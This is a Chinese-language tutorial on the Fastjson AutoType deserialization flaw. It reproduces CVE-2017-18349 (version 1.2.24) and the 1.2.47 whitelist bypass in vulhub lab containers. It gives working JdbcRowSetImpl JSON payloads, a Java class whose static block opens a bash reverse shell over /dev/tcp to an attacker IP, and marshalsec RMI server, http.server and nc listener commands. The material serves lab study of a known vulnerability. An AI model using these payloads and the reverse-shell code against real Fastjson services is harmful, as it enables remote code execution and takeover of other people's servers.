一、基础知识
Fastjson介绍:
fastjson是阿里巴巴开源的JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
Fastjson序列化/反序列化原理
fastjson漏洞的本质是一个 java 的反序列化漏洞,由于引进了 AutoType 功能,fastjson 在对 json 字符串反序列化的时候,会读取到 @type 的内容,将json内容反序列化为java对象并调用这个类的setter方法。
那么为啥要引进Auto Type功能呢?
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1.基于setter/getter
2.基于属性(AutoType)
基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}
实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:
{"Fruit":{"price":0.5}}
假设iphone对象的price为5000,序列化为json格式后为:
{"Fruit":{"price":5000}}
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题:fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.Apple", "price":0.5 } }
引入AutoType后,iphone类对象序列化为json格式后为:
{ "fruit":{ "@type":"com.hollis.lab.fastjson.test.iphone", "price":5000 } }
这样在反序列化的时候就可以区分原始的类了。
Fastjson反序列化漏洞原理
使用 AutoType 功能进行序列化的 JSON 字符会带有一个 @type 来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法。然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:
-
攻击者访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
-
存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问 rmi服务器需要执行什么命令?
-
rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
-
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
-
靶机服务器执行了恶意代码,被攻击者成功利用。
二、Fastjson指纹特征
1.2.24版本payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://dnslog/",
"autoCommit":true
}
}
1.2.47版本payload:
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://dnslog/",
"autoCommit": true
}
}
三、漏洞复现
通过 vulhub 靶场进行漏洞复现
Fastjson 1.2.24 反序列化漏洞(CVE-2017-18349)
漏洞详情:
fastjson在解析json的过程中,支持使用 AutoType 来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
环境搭建:
靶场路径:
vulhub/fastjson/1.2.24-rce
启动容器:
docker compose up -d
环境运行后,访问 http://your-ip:8090 即可看到JSON格式的输出。
复现过程:
因为目标环境是 Java 8u102,没有 com.sun.jndi.rmi.object.trustURLCodebase 的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
反弹shell
// javac GetShell.java
import java.lang.Runtime;
import java.lang.Process;
public class GetShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.111.129/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
编译
javac GetShell.java
编译完成后,会发现当前目录下生成了GetShell.class文件
特别注意:要保证 java 和 javac 的版本一致,且都是1.8的版本,高版本的jdk把远程调用修复了。
把编译好的class文件传到外网系统中(这里传到kali服务器)
用python开启一个web服务:
python3 -m http.server 8888
访问看看:
接下来使用 marshalsec 项目(需要maven环境编译),或者使用工具 marshalsec-0.0.3-SNAPSHOT-all.jar 启动RMI服务。
监听9999端口并加载远程类TouchFile.class(ip为上面开启的http服务)
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.111.129:8888/#GetShell" 9999
这里运行服务的最好和编译漏洞类的版本一致,且为1.8,不然可能不成功。
nc监听下7777端口(我们GetShell.java里面编写的就是反弹shell到192.168.111.129的7777端口)
访问我们的靶场环境,抓包,修改提交模式为 POST 和添加 Content-Type: application/json,发送payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.1:9999/#GetShell",
"autoCommit":true
}
}
修改rmi 服务器为上面开启的服务ip
发包,可以看到shell反弹过来了:
Fastjson 1.2.47远程命令执行漏洞
漏洞详情:
fastjson 于1.2.24 版本后增加了反序列化白名单。而在2019年6月,fastjson 又被爆出在 fastjson< =1.2.47 的版本中,攻击者可以利用特殊构造的 json 字符串绕过白名单检测,成功执行任意命令。
环境搭建:
靶场路径:
vulhub/fastjson/1.2.47-rce
启动容器:
docker compose up -d
环境运行后,访问 http://your-ip:8090 即可看到JSON格式的输出。
复现过程:
目标环境是openjdk:8u102,这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以简单利用RMI进行命令执行。
Fastjson 1.2.47 和上面的 Fastjson 1.2.24 利用方式基本相同,就是 payload 格式变了点。
其它步骤都一样,抓包,设置 payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.111.1:9999/#GetShell",
"autoCommit":true
}
}
成功反弹shell